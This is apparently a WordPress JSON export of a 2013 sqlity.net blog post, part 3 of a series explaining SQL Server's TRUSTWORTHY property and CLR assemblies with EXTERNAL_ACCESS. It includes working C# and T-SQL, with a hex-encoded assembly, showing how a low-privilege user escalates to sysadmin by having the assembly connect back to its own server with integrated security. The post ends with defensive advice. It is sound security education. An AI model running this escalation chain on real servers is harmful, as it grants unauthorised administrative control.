{"id":1710,"date":"2013-06-25T10:00:25","date_gmt":"2013-06-25T14:00:25","guid":{"rendered":"http:\/\/sqlity.net\/en\/?p=1710"},"modified":"2014-11-13T13:23:41","modified_gmt":"2014-11-13T18:23:41","slug":"the-trustworthy-database-property-explained-part-3","status":"publish","type":"post","link":"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/","title":{"rendered":"The TRUSTWORTHY Database Property Explained \u2013 Part 3"},"content":{"rendered":"<div>\n<h3>Introduction<\/h3>\n<p>\nMy last two posts about the <span class=\"tt\">TRUSTWORTHY<\/span> database property (<a href=\"http:\/\/sqlity.net\/en\/1653\/the-trustworthy-database-property-explained-part-1\/\">Part 1<\/a> and <a href=\"http:\/\/sqlity.net\/en\/1701\/the-trustworthy-database-property-explained-part-2\/\">Part 2<\/a>) explained how <span class=\"tt\">TRUSTWORTHY<\/span> changes the effective permissions and how a malicious user could use it to gain SA permission on your server. Today I am going to look at another feature that \"requires\" a database to be <span class=\"tt\">TRUSTWORTHY<\/span>: CLR Assemblies with <span class=\"tt\">PERMISSION_SET = EXTERNAL_ACCESS<\/span>. External access is for example needed if you want to write an assembly that offers functionality requiring direct file or network access.\n<\/p>\n<h3>Example<\/h3>\n<p>\nLet's dive into an example right away: This little bit of C# code creates an assembly providing a method <span class=\"tt\">ExecuteNonQuery<\/span> that allows you to directly connect to another SQL Server and execute a command. It requires a connection string and the command as parameters.\n<\/p>\n<div>\n[csharp]\nusing System.Data.SqlClient;<\/p>\n<p>namespace OutsideConnection<br \/>\n{<br \/>\n    public class OutsideConnection<br \/>\n    {<br \/>\n        public static void ExecuteNonQuery(string connectionString, string command)<br \/>\n        {<br \/>\n            SqlConnection conn = null;<br \/>\n            try<br \/>\n            {<br \/>\n                conn = new SqlConnection(connectionString);<br \/>\n                conn.Open();<br \/>\n                (new SqlCommand {Connection = conn, CommandText = command}).ExecuteNonQuery();<br \/>\n            }<br \/>\n            finally<br \/>\n            {<br \/>\n                if (conn != null)<br \/>\n                    conn.Close();<br \/>\n            }<\/p>\n<p>        }<br \/>\n    }<br \/>\n}<br \/>\n[\/csharp]\n<\/p><\/div>\n<p>\nThe following code creates a database <span class=\"tt\">ExternalCLRDb<\/span> and then installs the above assembly into it. It also creates the stored procedure OutsideConnection and links it to the ExecuteNoneQuery method of the assembly.\n<\/p>\n<div>\n[sql]\nUSE [tempdb]\nGO<br \/>\nIF OBJECT_ID('tempdb..#ForceDropDatabase') IS NOT NULL DROP PROCEDURE #ForceDropDatabase;<br \/>\nGO<br \/>\nCREATE PROCEDURE #ForceDropDatabase<br \/>\n@db_name NVARCHAR(MAX)<br \/>\nAS<br \/>\nBEGIN<br \/>\n  IF(DB_ID(@db_name)IS NOT NULL)<br \/>\n  BEGIN<br \/>\n    EXEC('<br \/>\n    USE master;<br \/>\n    ALTER DATABASE '+@db_name+' SET RESTRICTED_USER WITH ROLLBACK IMMEDIATE;<br \/>\n    USE '+@db_name+';<br \/>\n    ALTER DATABASE '+@db_name+' SET SINGLE_USER WITH ROLLBACK IMMEDIATE;<br \/>\n    USE master;<br \/>\n    DROP DATABASE '+@db_name+';<br \/>\n    ');<br \/>\n  END;<br \/>\nEND<br \/>\nGO<br \/>\nEXEC #ForceDropDatabase 'ExternalCLRDb';<br \/>\nGO<br \/>\nIF EXISTS(SELECT 1 FROM sys.server_principals WHERE name = 'ExternalCLRLogin') DROP LOGIN ExternalCLRLogin;<br \/>\nCREATE LOGIN ExternalCLRLogin WITH PASSWORD = '********';<br \/>\nGO<br \/>\nCREATE DATABASE ExternalCLRDb WITH TRUSTWORTHY ON;<br \/>\nGO<br \/>\nALTER AUTHORIZATION ON DATABASE::ExternalCLRDb TO ExternalCLRLogin;<br \/>\nGO<br \/>\nUSE ExternalCLRDb;<br \/>\nGO<br \/>\nCREATE ASSEMBLY [OutsideConnection]\nFROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C01030085F1C5510000000000000000E00002210B010800000A000000060000000000009E280000002000000040000000004000002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000502800004B000000004000004803000000000000000000000000000000000000006000000C000000B42700001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000A408000000200000000A000000020000000000000000000000000000200000602E72737263000000480300000040000000040000000C0000000000000000000000000000400000402E72656C6F6300000C000000006000000002000000100000000000000000000000000000400000420000000000000000000000000000000080280000000000004800000002000500AC2000000807000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B3002003700000001000011140A02731100000A0A066F1200000A731300000A0B07066F1400000A07036F1500000A076F1600000A26DE0A062C06066F1700000ADC2A0001100000020002002A2C000A000000001E02281800000A2A42534A4201000100000000000C00000076342E302E33303331390000000005006C00000038020000237E0000A40200002C03000023537472696E677300000000D00500000800000023555300D8050000100000002347554944000000E80500002001000023426C6F620000000000000002000001471502000900000000FA2533001600000100000016000000020000000200000002000000180000000E00000001000000010000000200000000000A00010000000000060042003B0006008A0078000600A10078000600BE0078000600DD0078000600F600780006000F01780006002A01780006004501780006007D015E01060091015E0106009F0178000600B80178000600EF01D50106001B0208023F002F02000006005E023E0206007E023E020A00BE02A8020A00DF02CC020A00F102A8020A000B03CC0200000000010000000000010001000100100020002000050001000100502000000000960049000A000100A420000000008618590010000300000001005F00000002007000110059001400190059001400210059001400290059001400310059001400390059001400410059001400490059001400510059001900590059001400610059001400690059001400710059001400790059001E00890059002400910059001000990059001400A100EC021000A90059001000A900FC022900B10015031400B10049002F00A100250310000900590010002E000B003A002E00130051002E001B0051002E00230051002E002B003A002E00330057002E003B0051002E004B0051002E0053006F002E00630099002E006B00A6002E007300EE002E007B00F7002E0083000001330004800000010000000000000000000000000020000000040000000000000000000000010032000000000004000000000000000000000001009C02000000000000003C4D6F64756C653E004F757473696465436F6E6E656374696F6E2E646C6C004F757473696465436F6E6E656374696F6E006D73636F726C69620053797374656D004F626A65637400457865637574654E6F6E5175657279002E63746F7200636F6E6E656374696F6E537472696E6700636F6D6D616E640053797374656D2E5265666C656374696F6E00417373656D626C795469746C6541747472696275746500417373656D626C794465736372697074696F6E41747472696275746500417373656D626C79436F6E66696775726174696F6E41747472696275746500417373656D626C79436F6D70616E7941747472696275746500417373656D626C7950726F6475637441747472696275746500417373656D626C79436F7079726967687441747472696275746500417373656D626C7954726164656D61726B41747472696275746500417373656D626C7943756C747572654174747269627574650053797374656D2E52756E74696D652E496E7465726F70536572766963657300436F6D56697369626C65417474726962757465004775696441747472696275746500417373656D626C7956657273696F6E41747472696275746500417373656D626C7946696C6556657273696F6E4174747269627574650053797374656D2E52756E74696D652E56657273696F6E696E67005461726765744672616D65776F726B4174747269627574650053797374656D2E446961676E6F73746963730044656275676761626C6541747472696275746500446562756767696E674D6F6465730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C6974794174747269627574650053797374656D2E446174610053797374656D2E446174612E53716C436C69656E740053716C436F6E6E656374696F6E0053797374656D2E446174612E436F6D6D6F6E004462436F6E6E656374696F6E004F70656E0053716C436F6D6D616E64007365745F436F6E6E656374696F6E004462436F6D6D616E64007365745F436F6D6D616E645465787400436C6F736500000003200000000000ED2E3F488BD67C49974C556E7224EE670008B77A5C561934E089050002010E0E03200001042001010E0420010102052001011141042001010805200101124D03200008060702124D1255160100114F757473696465436F6E6E656374696F6E000005010000000017010012436F7079726967687420C2A920203230313300002901002464333139343637622D653032342D343335662D386661342D31386663666462363032323400000C010007312E302E302E3000004701001A2E4E45544672616D65776F726B2C56657273696F6E3D76342E300100540E144672616D65776F726B446973706C61794E616D65102E4E4554204672616D65776F726B20340801000200000000000801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301000000000085F1C55100000000020000007D000000D0270000D0090000525344533A1547F7E3FF744BA066AC25B99F142302000000433A5C446174615C73766E5C53514C5C5F426C6F675F41626F75745F5C5472757374776F727468795C53514C5F434C525C4F757473696465436F6E6E656374696F6E5C6F626A5C52656C656173655C4F757473696465436F6E6E656374696F6E2E706462000000007828000000000000000000008E280000002000000000000000000000000000000000000000000000802800000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000F00200000000000000000000F00234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000001000000000000000100000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B00450020000010053007400720069006E006700460069006C00650049006E0066006F0000002C02000001003000300030003000300034006200300000004C0012000100460069006C0065004400650073006300720069007000740069006F006E00000000004F0075007400730069006400650043006F006E006E0065006300740069006F006E000000300008000100460069006C006500560065007200730069006F006E000000000031002E0030002E0030002E00300000004C001600010049006E007400650072006E0061006C004E0061006D00650000004F0075007400730069006400650043006F006E006E0065006300740069006F006E002E0064006C006C0000004800120001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000A90020002000320030003100330000005400160001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004F0075007400730069006400650043006F006E006E0065006300740069006F006E002E0064006C006C000000440012000100500072006F0064007500630074004E0061006D006500000000004F0075007400730069006400650043006F006E006E0065006300740069006F006E000000340008000100500072006F006400750063007400560065007200730069006F006E00000031002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000031002E0030002E0030002E003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000A03800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000<br \/>\nWITH PERMISSION_SET = SAFE<br \/>\nGO<br \/>\nCREATE PROCEDURE dbo.OutsideConnection<br \/>\n  @ConnectionString NVARCHAR(MAX),<br \/>\n  @Command NVARCHAR(MAX)<br \/>\nAS EXTERNAL NAME OutsideConnection.[OutsideConnection.OutsideConnection].ExecuteNonQuery;<br \/>\nGO<br \/>\nCREATE SCHEMA hlp;<br \/>\nGO<br \/>\nCREATE FUNCTION hlp.CurrentTokens()<br \/>\nRETURNS TABLE<br \/>\nAS<br \/>\nRETURN<br \/>\n  SELECT 'CurrentTokens' info,'|'[|],USER_NAME() [user],SUSER_NAME() [login],'|'[l], *<br \/>\n  FROM(<br \/>\n    SELECT 'user' token_source,name, type, usage FROM sys.user_token<br \/>\n    UNION ALL<br \/>\n    SELECT 'login' token_source,name, type, usage FROM sys.login_token<br \/>\n  )X;<br \/>\nGO<br \/>\nIF USER_ID('FewPermissionsUser') IS NOT NULL DROP USER FewPermissionsUser;<br \/>\nIF EXISTS(SELECT 1 FROM sys.server_principals WHERE name = 'FewPermissionsLogin') DROP LOGIN FewPermissionsLogin;<\/p>\n<p>CREATE LOGIN FewPermissionsLogin WITH PASSWORD = '********';<br \/>\nCREATE USER FewPermissionsUser FOR LOGIN FewPermissionsLogin;<\/p>\n<p>GRANT EXECUTE,SELECT ON SCHEMA::hlp TO FewPermissionsUser;<br \/>\nGRANT EXECUTE ON dbo.OutsideConnection TO FewPermissionsUser;<br \/>\n[\/sql]\n<\/p><\/div>\n<p>\nNote that while the database is created as <span class=\"tt\">TRUSTWORTHY<\/span>, the code follows the advice given in the previous article and sets the database owner to a login without any special permissions. Also, the assembly is created with <span class=\"tt\">PERMISSION_SET = SAFE <\/span>.\n<\/p>\n<p>\nAfter the assembly is installed, the code creates the <span class=\"tt\">hlp.CurrentTokes<\/span> function that we have used before. It also creates a login and an associated user with just a few permissions.\n<\/p>\n<h3>Permission Set Safe<\/h3>\n<p>\nNow that the assembly is installed, let's run a quick test:\n<\/p>\n<div>\n[sql]\nUSE ExternalCLRDb;<br \/>\nGO<br \/>\nEXECUTE AS USER='FewPermissionsUser';<br \/>\nGO<br \/>\nSELECT * FROM hlp.CurrentTokens();<br \/>\nGO<br \/>\nIF OBJECT_ID('tempdb..##CurrentTokens') IS NOT NULL DROP TABLE ##CurrentTokens;<\/p>\n<p>EXEC dbo.OutsideConnection 'Context Connection=true;','SELECT * INTO ##CurrentTokens FROM hlp.CurrentTokens();'<\/p>\n<p>SELECT * FROM ##CurrentTokens;<br \/>\nGO<br \/>\nREVERT<br \/>\n[\/sql]\n<\/p><\/div>\n<p>\nThis T-SQL Script switches the database context to the new database and the security context to the new user FewPermissionsUser. Then it uses the CurrentTokens function to show the security tokens currently in effect. Afterwards it calls the OutsideConnection procedure passing in <span class=\"tt\">Context Connection=true;<\/span> as the connection string. This causes the ExecuteNonQuery method to use the current connection (the connection it is executed in) when running the passed in command. The ExecuteNonQuery method cannot return a result set back to us. Instead the code is storing the result of the query in a global temp table and selects it back out from there after the OutsideConnection call finishes. The output clearly shows that the tokens in effect are indeed the same:\n<\/p>\n<p>\n<a href=\"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Tokens_when_using_Context_Connection.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Tokens_when_using_Context_Connection.jpg\" alt=\"Tokens when using Context Connection\" width=\"861\" height=\"564\" class=\"aligncenter size-full wp-image-1711\" srcset=\"https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Tokens_when_using_Context_Connection.jpg 861w, https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Tokens_when_using_Context_Connection-300x196.jpg 300w, https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Tokens_when_using_Context_Connection-150x98.jpg 150w\" sizes=\"auto, (max-width: 861px) 100vw, 861px\" \/><\/a>\n<\/p>\n<p>\nSo far nothing conspicuous has happened. Now let's try to connect to another server by specifying a real connection string:\n<\/p>\n<p>\n<a href=\"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/access_to_other_server_failes.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/access_to_other_server_failes.jpg\" alt=\"access to other server failes\" width=\"861\" height=\"564\" class=\"aligncenter size-full wp-image-1714\" srcset=\"https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/access_to_other_server_failes.jpg 861w, https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/access_to_other_server_failes-300x196.jpg 300w, https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/access_to_other_server_failes-150x98.jpg 150w\" sizes=\"auto, (max-width: 861px) 100vw, 861px\" \/><\/a>\n<\/p>\n<p>\nThis fails right away, because of some problem with <span class=\"tt\">System.Data.SqlClient.SqlClientPermission<\/span>. This is caused by the assembly having been created with <span class=\"tt\">PERMISSION_SET = SAFE<\/span>. In this mode access to outside resources is prohibited. To fix that we can just switch the assembly to <span class=\"tt\">PERMISSION_SET = EXTERNAL_ACCESS<\/span>:\n<\/p>\n<div>\n[sql]\nALTER ASSEMBLY OutsideConnection WITH PERMISSION_SET = EXTERNAL_ACCESS;<br \/>\n[\/sql]\n<\/div>\n<p>\nHowever, that attempt fails too:\n<\/p>\n<p>\n<a href=\"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/External_Access_Assembly_permission_required.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/External_Access_Assembly_permission_required.jpg\" alt=\"External Access Assembly permission required\" width=\"861\" height=\"564\" class=\"aligncenter size-full wp-image-1713\" srcset=\"https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/External_Access_Assembly_permission_required.jpg 861w, https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/External_Access_Assembly_permission_required-300x196.jpg 300w, https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/External_Access_Assembly_permission_required-150x98.jpg 150w\" sizes=\"auto, (max-width: 861px) 100vw, 861px\" \/><\/a>\n<\/p>\n<p>\nAs the error message tells us, the reason is that you need one of two things to create an assembly with <span class=\"tt\">PERMISSION_SET = EXTERNAL_ACCESS<\/span>. You either need to sign the assembly with a certificate, create a login from that same certificate and grant that login the <span class=\"tt\">EXTERNAL ACCESS ASSEMBLY<\/span> permission. This is a process that seems too complex for many; they just use the alternative and set the database to <span class=\"tt\">TRUSTWORTHY<\/span>. With that you can just grant the database owner the <span class=\"tt\">EXTERNAL ACCESS ASSEMBLY<\/span> permission and don't have to worry about complex certificates.\n<\/p>\n<p>\nIn our case the database is <span class=\"tt\">TRUSTWORTHY<\/span> already, so we just need to grant the inconspicuous <span class=\"tt\">EXTERNAL ACCESS ASSEMBLY<\/span> to <span class=\"tt\">ExternalCLRLogin<\/span> which is the login that owns our database:\n<\/p>\n<div>\n[sql]\nEXEC master.sys.sp_executesql N'GRANT EXTERNAL ACCESS ASSEMBLY TO ExternalCLRLogin;';<br \/>\nALTER ASSEMBLY OutsideConnection WITH PERMISSION_SET = EXTERNAL_ACCESS;<br \/>\n[\/sql]\n<\/div>\n<p>\nThe <span class=\"tt\">sp_executesql<\/span> procedure is used as granting server level permissions requires the database context to be master. These two statements should run without problems.\n<\/p>\n<h3>Hacking Away<\/h3>\n<p>\nNow nothing is holding us back connecting to our external server. But we are not going to. Instead we are going to try to connect back to the server we are on:\n<\/p>\n<div>\n[sql]\nEXECUTE AS USER='FewPermissionsUser';<br \/>\nGO<\/p>\n<p>IF OBJECT_ID('tempdb..##CurrentTokens') IS NOT NULL DROP TABLE ##CurrentTokens;<\/p>\n<p>DECLARE @ConnectionString NVARCHAR(MAX) = N'Data Source='+ CAST(SERVERPROPERTY('ServerName') AS NVARCHAR(MAX))+N';Initial Catalog=ExternalCLRDb;Integrated Security=SSPI;';<br \/>\nEXEC dbo.OutsideConnection @ConnectionString,'SELECT * INTO ##CurrentTokens FROM hlp.CurrentTokens();'<\/p>\n<p>SELECT * FROM ##CurrentTokens;<\/p>\n<p>GO<br \/>\nREVERT<br \/>\n[\/sql]\n<\/p><\/div>\n<p>\nThe connection string is build using the current server name (which includes the instance name, if any) and hardcodes the ExternalCLRDb database name. The connection string also sets integrated security to true.\n<\/p>\n<p>\nLet me clarify this all a little: When this code executes, SQL Server is going to connect back to itself using integrated security.\n<\/p>\n<p>\nYou are probably sensing already where this is going, so let's confirm:\n<\/p>\n<p>\n<a href=\"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Successful_Permission_Elevation.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Successful_Permission_Elevation.jpg\" alt=\"Successful Permission Elevation\" width=\"861\" height=\"564\" class=\"aligncenter size-full wp-image-1712\" srcset=\"https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Successful_Permission_Elevation.jpg 861w, https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Successful_Permission_Elevation-300x196.jpg 300w, https:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Successful_Permission_Elevation-150x98.jpg 150w\" sizes=\"auto, (max-width: 861px) 100vw, 861px\" \/><\/a>\n<\/p>\n<p>\nCLR code is executed by the SQL Server service. That means the windows account executing that service is what is used when connecting to an external SQL Server using integrated security. When that server is the same server that is running the assembly this means that the code instantly acquires sysadmin level privileges, as the SQL Server Service account always is a sysadmin inside its own SQL Server Instance.\n<\/p>\n<h3>Summary<\/h3>\n<p>\nThe <span class=\"tt\">TRUSTWORTHY<\/span> database property is a quick way to get past many security related road blocks. However, as this article series has shown, turning that setting on allows anyone that is a member of the db_owner role in that database to elevate their account to a sysadmin. While all these exploits require the one or the other additional setting or permission to be in place, it is not uncommon to find a server having been setup just right for at least one of them\n<\/p>\n<p>\nWhat is particularly bad about the use of the <span class=\"tt\">TRUSTWORTHY<\/span> database setting to give a particular assembly external access is that it opens up other assemblies to be installed later on in that database with the same permission set. While the first one might have been a perfectly valid use of an assembly from a trusted source, now a malicious user can install their own assembly to gain full server access. All that is required for this is the permissions to create an assembly in that particular database.\n<\/p>\n<p>\nAs I pointed out before, all these \"security related road blocks\" can be dealt with using certificates. In the case of an assembly you could grant a particular assembly that you trust the necessary permission without affecting other assemblies or any other security settings. You just need to sign that assembly with a certificate. That is easy to set up in Visual Studio. Then you need to import that certificate into SQL Server, create a login from it and grant that login the <span class=\"tt\">EXTERNAL ACCESS ASSEMBLY<\/span> permission. The exact details of how to do this will be the topic of a later post.\n<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Even if you follow security best practices to minimize the risk when setting a database to TRUSTWORTHY, if you use it to allow assemblies external access you are opening up another security hole. Read on to learn more.<\/p>\n<p> <a href=\"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/\">[more&#8230;]<\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[5,34,35],"tags":[46,49,45,47,52,36,48,53,50,38,51,15,37],"class_list":["post-1710","post","type-post","status-publish","format-standard","hentry","category-general","category-security","category-trustworthy","tag-assembly","tag-certificates","tag-clr","tag-connection-string","tag-context-connection","tag-database-property","tag-external-access","tag-hacking-sql-server","tag-permission","tag-security-2","tag-security-tokens","tag-sql-server","tag-trustworthy-2"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>The TRUSTWORTHY Database Property Explained \u2013 Part 3 - sqlity.net<\/title>\n<meta name=\"description\" content=\"Even if you follow security best practices to minimize the risk when setting a database to TRUSTWORTHY, if you use it to allow assemblies external access you are opening up another security hole. Read on to learn more.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"The TRUSTWORTHY Database Property Explained \u2013 Part 3 - sqlity.net\" \/>\n<meta property=\"og:description\" content=\"Even if you follow security best practices to minimize the risk when setting a database to TRUSTWORTHY, if you use it to allow assemblies external access you are opening up another security hole. Read on to learn more.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/sqlity.net\/en\/1710\/the-trustworthy-database-property-explained-part-3\/\" \/>\n<meta property=\"og:site_name\" content=\"sqlity.net\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/sqlity.net\" \/>\n<meta property=\"article:published_time\" content=\"2013-06-25T14:00:25+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2014-11-13T18:23:41+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/sqlity.net\/wp-content\/uploads\/2013\/06\/Tokens_when_using_Context_Connection.jpg\" \/>\n<meta name=\"author\" content=\"Sebastian Meine\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@sqlity\" \/>\n<meta name=\"twitter:site\" content=\"@sqlity\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sebastian Meine\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/\"},\"author\":{\"name\":\"Sebastian Meine\",\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/#\\\/schema\\\/person\\\/bcffd8c572bc2f1bd10fdba80135e53c\"},\"headline\":\"The TRUSTWORTHY Database Property Explained \u2013 Part 3\",\"datePublished\":\"2013-06-25T14:00:25+00:00\",\"dateModified\":\"2014-11-13T18:23:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/\"},\"wordCount\":2095,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/sqlity.net\\\/wp-content\\\/uploads\\\/2013\\\/06\\\/Tokens_when_using_Context_Connection.jpg\",\"keywords\":[\"Assembly\",\"Certificates\",\"CLR\",\"Connection String\",\"Context Connection\",\"database property\",\"External Access\",\"Hacking SQL Server\",\"Permission\",\"security\",\"Security Tokens\",\"SQL Server\",\"trustworthy\"],\"articleSection\":[\"General\",\"Security\",\"Trustworthy\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/\",\"url\":\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/\",\"name\":\"The TRUSTWORTHY Database Property Explained \u2013 Part 3 - sqlity.net\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/sqlity.net\\\/wp-content\\\/uploads\\\/2013\\\/06\\\/Tokens_when_using_Context_Connection.jpg\",\"datePublished\":\"2013-06-25T14:00:25+00:00\",\"dateModified\":\"2014-11-13T18:23:41+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/#\\\/schema\\\/person\\\/bcffd8c572bc2f1bd10fdba80135e53c\"},\"description\":\"Even if you follow security best practices to minimize the risk when setting a database to TRUSTWORTHY, if you use it to allow assemblies external access you are opening up another security hole. Read on to learn more.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/#primaryimage\",\"url\":\"http:\\\/\\\/sqlity.net\\\/wp-content\\\/uploads\\\/2013\\\/06\\\/Tokens_when_using_Context_Connection.jpg\",\"contentUrl\":\"http:\\\/\\\/sqlity.net\\\/wp-content\\\/uploads\\\/2013\\\/06\\\/Tokens_when_using_Context_Connection.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/sqlity.net\\\/en\\\/1710\\\/the-trustworthy-database-property-explained-part-3\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/sqlity.net\\\/en\\\/\"},{\"@type\":\"Li